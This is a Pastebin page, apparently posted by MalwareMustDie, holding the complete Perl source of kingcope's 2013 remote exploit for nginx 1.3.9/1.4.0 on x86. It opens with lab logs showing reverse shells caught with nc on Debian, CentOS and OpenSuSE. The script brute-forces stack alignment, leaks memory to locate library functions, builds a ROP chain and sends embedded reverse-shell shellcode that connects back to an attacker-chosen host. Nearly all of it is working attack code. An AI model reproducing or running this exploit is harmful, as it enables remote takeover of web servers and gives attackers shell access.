Advertisement
MalwareMustDie

#MalwareMustDie! ZERODAY of EXPLOIT KIT & EVIL PROXIES NGNIX

Jul 11th, 2013
2,229
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.57 KB | None | 0 0
  1. #nginx 1.3.9/1.4.0 x86 brute force remote exploit
  2. # copyright (c) 2013 kingcope
  3. #----------------------------
  4. #fix for internet exploitation, set MTU:
  5. #ifconfig <interface> mtu 60000 up
  6. #
  7. ###
  8. # !!! WARNING !!!
  9. # this exploit is unlikely to succeed when used against remote internet hosts.
  10. # the reason is that nginx uses a non-blocking read() at the remote connection,
  11. # this makes exploitation of targets on the internet highly unreliable.
  12. # (it has been tested against a testbed on the internet but I couldn't exploit
  13. # any other box with it. required was the above ifconfig setting on the client.
  14. # maybe enabling large tcp frame support on a gigabit connection is more
  15. # useful)
  16. # so use it inside intranets only (duh!), this remains a PoC for now :D
  17. # The exploit does not break stack cookies but makes use of a reliable method
  18. # to retrieve all needed offsets for Linux x86 and pop a shell.
  19. ###
  20. #TODO
  21. #*cleanup code
  22. #*implement stack cookie break and amd64 support
  23. #*support proxy_pass directive
  24. ###
  25. =for comment
  26. TARGET TESTS (Debian, Centos, OpenSuSE)
  27.  
  28. 1. Debian 7
  29. perl ngxunlock.pl 192.168.27.146 80 192.168.27.146 443
  30. Testing if remote httpd is vulnerable % SEGV %
  31. YES %
  32. Finding align distance (estimate)
  33. testing 5250 align % SEGV %
  34. testing 5182 align % SEGV %
  35. Verifying align
  36. Finding align distance (estimate)
  37. testing 5250 align % SEGV %
  38. testing 5182 align % SEGV %
  39. Finding write offset, determining exact align
  40. testing 0x08049c50, 5184 align % SURVIVED %
  41. Extracting memory \
  42. bin search done, read 20480 bytes
  43. exact align found 5184
  44. Finding exact library addresses
  45. trying plt 0x08049a32, got 0x080bc1a4, function 0xb76f4a80 % FOUND exact ioctl 0x08049a30 %
  46. trying plt 0x08049ce2, got 0x080bc250, function 0xb773e890 % FOUND exact memset 0x08049ce0 %
  47. trying plt 0x08049d52, got 0x080bc26c, function 0xb76f8d40 % FOUND exact mmap64 0x08049d50 %
  48. Found library offsets, determining mnemonics
  49. trying 0x0804ed2d % SURVIVED %
  50. exact large pop ret 0x0804a7eb
  51. exact pop x3 ret 0x0804a7ee
  52. bin search done |
  53. See reverse handler for success
  54.  
  55. nc -v -l -p 443
  56. listening on [any] 443 ...
  57. 192.168.27.146: inverse host lookup failed: Unknown host
  58. connect to [192.168.27.146] from (UNKNOWN) [192.168.27.146] 34778
  59. uname -a;id;
  60. Linux dakkong 3.2.0-4-686-pae #1 SMP Debian 3.2.46-1 i686 GNU/Linux
  61. uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
  62. cat /etc/debian_version
  63. 7.1
  64.  
  65. 2. CentOS 6.4
  66. perl ngxunlock.pl 192.168.27.129 80 192.168.27.129 443
  67. Testing if remote httpd is vulnerable % SEGV %
  68. YES %
  69. Finding align distance (estimate)
  70. testing 5250 align % SEGV %
  71. testing 5194 align % SEGV %
  72. Verifying align
  73. Finding align distance (estimate)
  74. testing 5250 align % SEGV %
  75. testing 5194 align % SEGV %
  76. Finding write offset, determining exact align
  77. testing 0x08049990, 5200 align % SURVIVED %
  78. Extracting memory /
  79. bin search done, read 20480 bytes
  80. exact align found 5200
  81. Finding exact library addresses
  82. trying plt 0x080499f2, got 0x080b31ac, function 0x0094a6b0 % FOUND exact memset 0x080499f0 %
  83. trying plt 0x08049b52, got 0x080b3204, function 0x008f1fd0 % FOUND exact ioctl 0x08049b50 %
  84. trying plt 0x08049f12, got 0x080b32f4, function 0x008f72c0 % FOUND exact mmap64 0x08049f10 %
  85. Found library offsets, determining mnemonics
  86. trying 0x0804e9d4 % SURVIVED %
  87. exact large pop ret 0x0806194d
  88. exact pop x3 ret 0x0804a832
  89. bin search done /
  90. See reverse handler for success
  91.  
  92. nc -v -l 443
  93. Connection from 192.168.27.129 port 443 [tcp/https] accepted
  94. uname -a;id;
  95. Linux localhost.localdomain 2.6.32-358.el6.i686 #1 SMP Thu Feb 21 21:50:49 UTC 2013 i686 i686 i386 GNU/Linux
  96. uid=99(nobody) gid=99(nobody) groups=99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  97. cat /etc/redhat*
  98. CentOS release 6.4 (Final)
  99.  
  100. 3. OpenSuSE 12.1
  101. perl ngxunlock.pl 192.168.27.135 80 192.168.27.135 443
  102. Testing if remote httpd is vulnerable % SEGV %
  103. YES %
  104. Finding align distance (estimate)
  105. testing 5250 align % SEGV %
  106. testing 5182 align % SEGV %
  107. Verifying align
  108. Finding align distance (estimate)
  109. testing 5250 align % SEGV %
  110. testing 5182 align % SEGV %
  111. Finding write offset, determining exact align
  112. testing 0x08049a18, 5184 align % SURVIVED %
  113. Extracting memory \
  114. bin search done, read 20480 bytes
  115. exact align found 5184
  116. Finding exact library addresses
  117. trying plt 0x08049a6a, got 0x080be08c, function 0xb75f74f0 % FOUND exact memset 0x08049a68 %
  118. trying plt 0x08049b8a, got 0x080be0d4, function 0xb764b160 % FOUND exact ioctl 0x08049b88 %
  119. trying plt 0x08049eea, got 0x080be1ac, function 0xb76501e0 % FOUND exact mmap64 0x08049ee8 %
  120. Found library offsets, determining mnemonics
  121. trying 0x0804ea7f % SURVIVED %
  122. exact large pop ret 0x0804a7fa
  123. exact pop x3 ret 0x0804a101
  124. bin search done -
  125. See reverse handler for success
  126.  
  127. Connection from 192.168.27.135 port 443 [tcp/https] accepted
  128. uname -a;id;
  129. Linux linux-01xg 3.1.0-1.2-desktop #1 SMP PREEMPT Thu Nov 3 14:45:45 UTC 2011 (187dde0) i686 i686 i386 GNU/Linux
  130. uid=65534(nobody) gid=65533(nobody) groups=65533(nobody),65534(nogroup)
  131.  
  132. cat /etc/SuSE-*
  133. openSUSE
  134. VERSION = 12.1
  135. openSUSE 12.1 (i586)
  136. VERSION = 12.1
  137. CODENAME = Asparagus
  138. =cut
  139.  
  140. use IO::Socket;
  141.  
  142. if ($#ARGV < 3) {
  143. print "nginx remote exploit\n";
  144. print "copyright (c) 2013 kingcope\n";
  145. print "usage: $0 <target> <target port> <reverse ip> <reverse port>\n";
  146. exit;
  147. }
  148.  
  149. $target = $ARGV[0];
  150. $targetport = $ARGV[1];
  151. $cbip = $ARGV[2];
  152. $cbport = $ARGV[3];
  153.  
  154. #linux reverse shell by bighawk
  155. $lnxcbsc =
  156. "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90\x6a\x66\x58\x6a\x01\x5b"
  157. ."\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x68"
  158. ."\x7f\x7f\x7f\x7f" # IP
  159. ."\x66\x68" . "\xb0\xef" # PORT
  160. ."\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66"
  161. ."\x58\xcd\x80\x87\xf3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2"
  162. ."\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
  163.  
  164. ($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));
  165. substr($lnxcbsc, 31, 4, $a1 . $a2 . $a3 . $a4);
  166.  
  167. ($p1, $p2) = split(//, reverse(pack("s", $cbport)));
  168. $p1 = chr(ord($p1));
  169. $p2 = chr(ord($p2));
  170. substr($lnxcbsc, 37, 2, $p1 . $p2);
  171.  
  172. $|=1;
  173. $uri="";
  174. ###test target vulnerable
  175. #XXX
  176. #$k = 0x80498d0;
  177. #$align2 = 5200;
  178. #$alignplus=0;
  179. #goto debug;
  180.  
  181. print "Testing if remote httpd is vulnerable ";
  182. $uritested = 0;
  183. test:
  184. goto l;
  185. connecterr:
  186. if ($j==0) {
  187. print "\nDestination host unreachable\n";
  188. exit;
  189. }
  190. goto again;
  191. l:
  192. for ($j=0;$j<15;$j++) {
  193. again:
  194. $sock = IO::Socket::INET->new(PeerAddr => $target,
  195. PeerPort => $targetport,
  196. Proto => 'tcp') || {goto connecterr};
  197. setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  198. $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  199. ."Connection: close\r\n"
  200. ."Transfer-Encoding:chunked\r\n\r\n";
  201. $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  202. $stack = pack("V", 0xc0debabe);
  203. twinkle();
  204. print $sock $req;
  205. send($sock, "A" x (5555-1024) . $stack, MSG_OOB);
  206. $l = read($sock, $buffer, 0x10);
  207. close($sock);
  208. twinkle();
  209.  
  210. if ($buffer =~ /HTTP\/1.1/) {
  211. next;
  212. }
  213. if ($l <= 0) {
  214. print "% SEGV %\n";
  215. print "YES %\n";
  216. goto yes;
  217. }
  218. }
  219.  
  220. if ($uritested == 0) {
  221. $uri = "50x.html";
  222. $uritested=1;
  223. goto test;
  224. }
  225. print "\n\\\\ NO %\n";
  226. print "\\\\ Try to increase client MTU with ifconfig <interface> mtu 60000 up\n\n\\\\ Debug output\n";
  227. $sock = IO::Socket::INET->new(PeerAddr => $target,
  228. PeerPort => $targetport,
  229. Proto => 'tcp') || {goto connecterr};
  230. setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  231. $req = "GET / HTTP/1.1\r\nHost: $target\r\n"
  232. ."Connection: keep-alive\r\n"
  233. ."Transfer-Encoding:chunked\r\n\r\n";
  234. $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  235. $stack = pack("V", 0xc0debabe);
  236. print $sock $req;
  237. send($sock, "A" x (5555-1024) . $stack, MSG_OOB);
  238. $line = 0;
  239. while(<$sock>) {
  240. print;
  241. if ($line > 30) {
  242. last;
  243. }
  244. }
  245. exit;
  246. ###find align
  247. $verifyalign = 0;
  248. yes:
  249. print "Finding align distance (estimate)\n";
  250. for ($align=4050;$align<6000;$align+=100) {
  251. for ($j=0;$j<15;$j++) {
  252. printf("testing %d align ",$align);
  253. again0_1:
  254. # $sock = IO::Socket::INET->new(PeerAddr => $target,
  255. # PeerPort => $targetport,
  256. # Proto => 'tcp') || {goto again0_1};
  257. # setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  258. # $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  259. # ."Connection: close\r\n\r\n";
  260. # print $sock $req;
  261. # close($sock);
  262.  
  263. $sock = IO::Socket::INET->new(PeerAddr => $target,
  264. PeerPort => $targetport,
  265. Proto => 'tcp') || {goto again0_1};
  266. setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  267. $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  268. ."Connection: keep-alive\r\n"
  269. ."Transfer-Encoding:chunked\r\n\r\n";
  270. $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  271. $stack = pack("V", 0xc0debabe);
  272. print $sock $req;
  273. send($sock, "A" x ($align-1024) . $stack, MSG_OOB);
  274. $l = read($sock, $buffer, 0x10);
  275. twinkle();
  276. close($sock);
  277.  
  278. if ($l <= 0) {
  279. if ($align == 4050) {
  280. goto out;
  281. }
  282. print " % SEGV %\n";
  283. $alignstart = $align-100;
  284. goto incalign;
  285. }
  286. print "\r\r\r\r";
  287. if ($buffer =~ /HTTP\/1.1/) {
  288. next;
  289. }
  290. close($sock);
  291. }
  292. }
  293. out:
  294. print "\n\\\\ Align not found\n";
  295. exit;
  296.  
  297. incalign:
  298. for ($align=$alignstart;$align<6000;$align++) {
  299. for ($j=0;$j<7;$j++) {
  300. printf("testing %d align ",$align);
  301. again0_2:
  302. # $sock = IO::Socket::INET->new(PeerAddr => $target,
  303. # PeerPort => $targetport,
  304. # Proto => 'tcp') || {goto again0_2};
  305. # setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  306. # $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  307. # ."Connection: close\r\n\r\n";
  308. # print $sock $req;
  309. # close($sock);
  310.  
  311. $sock = IO::Socket::INET->new(PeerAddr => $target,
  312. PeerPort => $targetport,
  313. Proto => 'tcp') || {goto again0_2};
  314. setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  315. $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  316. ."Connection: keep-alive\r\n"
  317. ."Transfer-Encoding:chunked\r\n\r\n";
  318. $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  319. $stack = pack("V", 0xc0debabe);
  320. print $sock $req;
  321. send($sock, "A" x ($align-1024) . $stack, MSG_OOB);
  322. $l = read($sock, $buffer, 0x10);
  323. twinkle();
  324. close($sock);
  325. if ($l <= 0) {
  326. print " % SEGV %\n";
  327. if ($verifyalign == 0) {
  328. print "Verifying align\n";
  329. $verifyalign = $align;
  330. goto yes;
  331. }
  332.  
  333. if (($align > $verifyalign + 4) || ($align < $verifyalign - 4)) {
  334. print "\\\\ Align and verfied align do not match\n";
  335. exit;
  336. }
  337.  
  338. if ($verifyalign < $align) {
  339. $align = $verifyalign;
  340. }
  341.  
  342. goto begin;
  343. }
  344. print "\r\r\r\r";
  345.  
  346. if ($buffer =~ /HTTP\/1.1/) {
  347. next;
  348. }
  349. close($sock);
  350. }
  351. }
  352. print "\n\\\\ could not find align value. bailing out";
  353. exit;
  354. ###find write offset
  355. begin:
  356. print "Finding write offset, determining exact align\n";
  357. $align2 = $align;
  358. $ok = 0;
  359. #for ($k=0x8049d30;$k<=0x0804FFFF;$k+=4) {
  360. for ($k=0x08049800;$k<=0x0804FFFF;$k+=4) {
  361. #for ($k=0x0804dc00;$k<=0x0804FFFF;$k+=4) {
  362. for ($alignplus=0;$alignplus<7;$alignplus++) {
  363. debug:
  364. for ($j=0;$j<10;$j++) {
  365. if (pack("V", $k) =~ /\x20/) {
  366. next;
  367. }
  368. $align = $align2 + $alignplus;
  369. printf("testing 0x%08x, %d align ",$k,$align);
  370. again1:
  371. # if ($ok==0) {
  372. # $sock = IO::Socket::INET->new(PeerAddr => $target,
  373. # PeerPort => $targetport,
  374. # Proto => 'tcp') || {goto again1};
  375. # setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  376. # $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  377. # ."Connection: close\r\n\r\n";
  378. # print $sock $req;
  379. # close($sock);
  380. # }
  381. $sock = IO::Socket::INET->new(PeerAddr => $target,
  382. PeerPort => $targetport,
  383. Proto => 'tcp') || {goto again1};
  384. setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  385. $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  386. ."Connection: keep-alive\r\n"
  387. ."Transfer-Encoding:chunked\r\n\r\n";
  388. $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  389. # $k = 0x8049e30; #XXX
  390. $stack = pack("V", $k) # write plt assumed,eg 0x804ab6c
  391. . "ZZZZ" # crash dummy
  392. . "\x03\x00\x00\x00" # write file descriptor
  393. . pack("V", $k-0x1000) # write buffer
  394. . "\xff\xff\xf0\x00"; # write size
  395. #$p = <stdin>;
  396. print $sock $req;
  397. if ($ok == 0) {
  398. send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);
  399. } else {
  400. send($sock, "A" x ($align-1024) . $stack . "A" x 500, MSG_OOB);
  401. }
  402. $l = read($sock, $buffer, 0x5000);
  403. twinkle();
  404. close($sock);
  405. #0x8049c50
  406.  
  407. if ($buffer =~ /HTTP\/1.1/) {
  408. if ($ok == 0) {
  409. print "\r\r\r\r";
  410. next;
  411. } else {
  412. goto again1;
  413. }
  414. }
  415.  
  416. if ($ok == 1 && length($buffer) < 0x2000) {
  417. goto again1;
  418. }
  419.  
  420. if (length($buffer) > 350) {
  421. if ($ok == 0) {
  422. $ok = 1;
  423. print " % SURVIVED %\n";
  424. print("Extracting memory ");
  425. goto again1;
  426. }
  427. print "\nbin search done, ";
  428. printf("read %d bytes\n", $l);
  429. goto hit;
  430. }
  431. print "\r\r\r\r";
  432. }
  433. }
  434. }
  435. print "\n\\\\unable to get write offset\n";
  436. exit;
  437. hit:
  438. printf("exact align found %d\n", $align);
  439. print "Finding exact library addresses\n";
  440. $write = $k;
  441. $writeless = $write-0x1000;
  442. ### find offsets for mmap64, memset and ioctl
  443. $mmap64 = "";
  444. $ioctl = "";
  445. $memset = "";
  446. $mmap64_prefix =
  447. "\x55\x53\x56\x57\x8b\x54\x24\x28"
  448. ."\x8b\x4c\x24\x2c\xf7\xc2\xff\x0f"
  449. ."\x00\x00\x75";
  450. $ioctl_prefix =
  451. "\x53\x8b\x54\x24\x10\x8b\x4c\x24"
  452. ."\x0c\x8b\x5c\x24\x08\xb8\x36\x00"
  453. ."\x00\x00";
  454. $memset_prefix =
  455. "\x53\x8b\x4c\x24\x10\x0f\xb6\x44"
  456. ."\x24\x0c\x88\xc4\x89\xc2\xc1\xe0"
  457. ."\x10\x09\xd0\x8b\x54\x24\x08\x83";
  458. $memset_prefix2 =
  459. "\xfc\x57\x8b\x54\x24\x08\x8b\x4c"
  460. ."\x24\x10\x0f\xb6\x44\x24\x0c\xe3"
  461. ."\x2c\x89\xd7\x83\xe2\x03\x74\x11";
  462. $memset_prefix3 =
  463. "\x57\x8b\x7c\x24\x08\x8b\x54\x24"
  464. ."\x10\x8a\x44\x24\x0c\x88\xc4\x89"
  465. ."\xc1\xc1\xe0\x10\x66\x89\xc8\xfc";
  466. $memset_prefix4 =
  467. "\x55\x89\xe5\x57\x56\x83\xec\x04".
  468. "\x8b\x75\x08\x0f\xb6\x55\x0c\x8b".
  469. "\x4d\x10\x89\xf7\x89\xd0\xfc\x83";
  470.  
  471. $buffer2 = $buffer;
  472. $buffer3 = $buffer;
  473. plt_again:
  474. $buffer2 = $buffer3;
  475. for(;;) {
  476. $i = index($buffer2, "\xff\x25");
  477. if ($i >= 0) {
  478. if (($j = index($buffer3, substr($buffer2, $i, 50))) <= 0) {
  479. $buffer2 = substr($buffer2, $i+2);
  480. next;
  481. }
  482. $buffer2 = substr($buffer2, $i+2);
  483. $address = $writeless + $j;
  484. ### delve into library function
  485. printf "trying plt 0x%08x, ", ($address+2);
  486. again2:
  487. $sock = IO::Socket::INET->new(PeerAddr => $target,
  488. PeerPort => $targetport,
  489. Proto => 'tcp') || {goto again2};
  490. setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  491. $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  492. ."Connection: keep-alive\r\n"
  493. ."Transfer-Encoding:chunked\r\n\r\n";
  494. $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  495. $stack = pack("V", $write) # write plt
  496. . "ZZZZ" # crash dummy
  497. . "\x03\x00\x00\x00" # write file descriptor
  498. . pack("V", $address+2) # write buffer
  499. . "\x00\x03\x00\x00"; # write size
  500. print $sock $req;
  501. send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);
  502.  
  503. $l = read($sock, $buffer, 0x300);
  504. if ($buffer =~ /HTTP\/1.1/) {
  505. goto again2;
  506. }
  507. if ($l == 0x300) {
  508. $gotentry = unpack("V", substr($buffer,0,4));
  509. if ($gotentry == 0) {
  510. print "\r\r\r\r";
  511. next;
  512. }
  513. close($sock);
  514. } else {
  515. close($sock);
  516. goto again2;
  517. }
  518.  
  519. printf "got 0x%08x, ", $gotentry;
  520. again3:
  521. $sock = IO::Socket::INET->new(PeerAddr => $target,
  522. PeerPort => $targetport,
  523. Proto => 'tcp') || {goto again3};
  524.  
  525. setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  526. $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  527. ."Connection: keep-alive\r\n"
  528. ."Transfer-Encoding:chunked\r\n\r\n";
  529. $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  530. $stack = pack("V", $write) # write plt
  531. . "ZZZZ" # crash dummy
  532. . "\x03\x00\x00\x00" # write file descriptor
  533. . pack("V", $gotentry) # write buffer
  534. . "\x00\x03\x00\x00"; # write size
  535. print $sock $req;
  536. send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);
  537.  
  538. $l = read($sock, $buffer, 0x300);
  539. close($sock);
  540. if ($buffer =~ /HTTP\/1.1/) {
  541. goto again3;
  542. }
  543. if ($l == 0x300) {
  544. $function = unpack("V", substr($buffer,0,4));
  545. } else {
  546. goto again3;
  547. }
  548. if ($function == 0) {
  549. print "\r\r\r\r";
  550. next;
  551. }
  552.  
  553. printf "function 0x%08x ", $function;
  554. again4:
  555. $sock = IO::Socket::INET->new(PeerAddr => $target,
  556. PeerPort => $targetport,
  557. Proto => 'tcp') || {goto again4};
  558.  
  559. setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  560. $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  561. ."Connection: keep-alive\r\n"
  562. ."Transfer-Encoding:chunked\r\n\r\n";
  563. $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  564. $stack = pack("V", $write) # write plt
  565. . "ZZZZ" # crash dummy
  566. . "\x03\x00\x00\x00" # write file descriptor
  567. . pack("V", $function) # write buffer
  568. . "\xff\xff\xf0\x00"; # write size
  569. print $sock $req;
  570. send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);
  571.  
  572. #$p = <stdin>;
  573. $l = read($sock, $buffer, 0x500);
  574. close($sock);
  575. if ($buffer =~ /HTTP\/1.1/) {
  576. goto again4;
  577. }
  578. if ($l != 0x500) {
  579. goto again4;
  580. }
  581. ###
  582.  
  583. if (substr($buffer, 0, length($mmap64_prefix)) eq
  584. $mmap64_prefix) {
  585. $mmap64 = $address;
  586. printf(" %% FOUND exact mmap64 0x%08x %%\n", $mmap64);
  587. }
  588. if ((substr($buffer, 0, length($memset_prefix)) eq
  589. $memset_prefix) or
  590. (substr($buffer, 0, length($memset_prefix2)) eq
  591. $memset_prefix2) or
  592. (substr($buffer, 0, length($memset_prefix3)) eq
  593. $memset_prefix3) or
  594. (substr($buffer, 0, length($memset_prefix4)) eq
  595. $memset_prefix4)) {
  596. $memset = $address;
  597. printf(" %% FOUND exact memset 0x%08x %%\n", $memset);
  598. }
  599. if (substr($buffer, 0, length($ioctl_prefix)) eq
  600. $ioctl_prefix) {
  601. $ioctl = $address;
  602. printf(" %% FOUND exact ioctl 0x%08x %%\n", $ioctl);
  603. }
  604.  
  605. if (($mmap64 ne "") and ($memset ne "") and ($ioctl ne "")) {
  606. goto gotplt;
  607. }
  608. print "\r\r\r\r";
  609. } else {
  610. last;
  611. }
  612. }
  613. print "\nFinding exact library addresses\n";
  614. goto plt_again;
  615. gotplt:
  616. print "Found library offsets, determining mnemonics\n";
  617. ### find pop pop pop ret
  618. ### to set socket blocking
  619. for ($k=$write + 0x5000;;$k++) {
  620. printf("trying 0x%08x ",$k);
  621. again5:
  622. $sock = IO::Socket::INET->new(PeerAddr => $target,
  623. PeerPort => $targetport,
  624. Proto => 'tcp') || {goto again5};
  625. setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  626. $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  627. ."Connection: keep-alive\r\n"
  628. ."Transfer-Encoding:chunked\r\n\r\n";
  629. $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  630. $stack = pack("V", $ioctl)
  631. . pack("V", $k) # pop pop pop ret assumed
  632. . "\x03\x00\x00\x00"
  633. . "\x21\x54\x00\x00"
  634. . "\x08\x80\x04\x08" # null byte
  635. . pack("V", $write) # write plt found
  636. . "ZZZZ" # crash dummy
  637. . "\x03\x00\x00\x00" # write file descriptor
  638. . pack("V", $write) # write buffer
  639. . "\xff\xff\x0f\x00"; # write size
  640. print $sock $req;
  641. send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);
  642.  
  643. #$p = <stdin>;
  644. $l = read($sock, $buffer, 0xfffff);
  645. close($sock);
  646. twinkle();
  647. if ($buffer =~ /HTTP\/1.1/) {
  648. again5;
  649. }
  650.  
  651. if ($l > 0xfff) {
  652. print " % SURVIVED %\n";
  653. close($sock);
  654. goto hit2;
  655. }
  656. print "\r\r\r\r";
  657. next;
  658. }
  659. hit2:
  660. ###send attack buffer
  661. ###find largepopret
  662. @matches = $buffer =~ /(\x83\xc4\x20[\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g;
  663. foreach $m (@matches) {
  664. $i = index($buffer, $m);
  665. twinkle();
  666. print "\r";
  667. if ($i >= 0) {
  668. $__largepopret = $write + $i;
  669. printf("exact large pop ret 0x%08x\n", $__largepopret);
  670. goto hit3;
  671. }
  672. }
  673. print "\\\\ large pop ret not found\n";
  674. exit;
  675. hit3:
  676. ###find poppoppopret
  677. @matches = $buffer =~ /([\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g;
  678. foreach $m (@matches) {
  679. $i = index($buffer, $m);
  680. if ($i >= 0) {
  681. $__poppoppopret = $write + $i;
  682. printf("exact pop x3 ret 0x%08x\n", $__poppoppopret);
  683. goto attack;
  684. }
  685. }
  686. print "\\\\ poppoppopret not found\n";
  687. exit;
  688. attack:
  689. $largepopret = pack("V", $__largepopret);
  690. $popblock = "\x00\x00\x00\x00"
  691. ."\x00\x00\x00\x00"
  692. ."\x00\x00\x00\x00"
  693. ."\x00\x00\x00\x00";
  694. $popret = pack("V", $__poppoppopret+2);
  695. $poppoppopret = pack("V", $__poppoppopret);
  696. $pop3ret = $__poppoppopret;
  697.  
  698. $copycode = "\xfc\x8b\xf4\xbf\x00\x01\x00\x10\xb9\x00\x02\x00\x00\xf3\xa4"
  699. ."\xeb\xff";
  700. $memsetcode = "";
  701. $copyaddress = 0x10000000;
  702. for ($i=0;$i<length($copycode);$i++) {
  703. $byte = substr($copycode, $i, 1);
  704. $memsetcode .= pack("V", $memset)
  705. . pack("V", $pop3ret)
  706. . pack("V", $copyaddress)
  707. . $byte . "\x00\x00\x00"
  708. . "\x01\x00\x00\x00";
  709. $copyaddress++;
  710. }
  711. for ($q=0;$q<10;$q++) {
  712. print "bin search done ";
  713. sleep(1);
  714. twinkle();
  715. print "\r"
  716. }
  717. print "\n";
  718. print "See reverse handler for success\n";
  719. again6:
  720. $sock = IO::Socket::INET->new(PeerAddr => $target,
  721. PeerPort => $targetport,
  722. Proto => 'tcp') || {goto again6};
  723. setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  724. $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  725. ."Connection: close\r\n"
  726. ."Transfer-Encoding:chunked\r\n\r\n";
  727. $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  728. $stack = pack("V", $mmap64)
  729. . $largepopret
  730. ."\x00\x00\x00\x10" # mmap start
  731. ."\x00\x10\x00\x00" # mmap size
  732. ."\x07\x00\x00\x00" # mmap prot
  733. ."\x32\x00\x00\x00" # mmap flags
  734. ."\xff\xff\xff\xff" # mmap fd
  735. ."\x00\x00\x00\x00" # mmap offset
  736. ."\x00\x00\x00\x00" # mmap offset
  737. . $popblock
  738. . $memsetcode
  739. . "\x00\x00\x00\x10" # JUMP TO 0x10000000 (rwxp addr)
  740. . "\x90" x 100 . $lnxcbsc;
  741. #$p = <stdin>;
  742. print $sock $req;
  743. send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);
  744. close($sock);
  745.  
  746. goto again6; # XXX
  747. my $current = 0;
  748. sub twinkle {
  749. $cursors[0] = "|";
  750. $cursors[1] = "/";
  751. $cursors[2] = "-";
  752. $cursors[3] = "\\";
  753. print "$cursors[$current++]\b";
  754. if ($current > 3) {
  755. $current = 0;
  756. }
  757. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement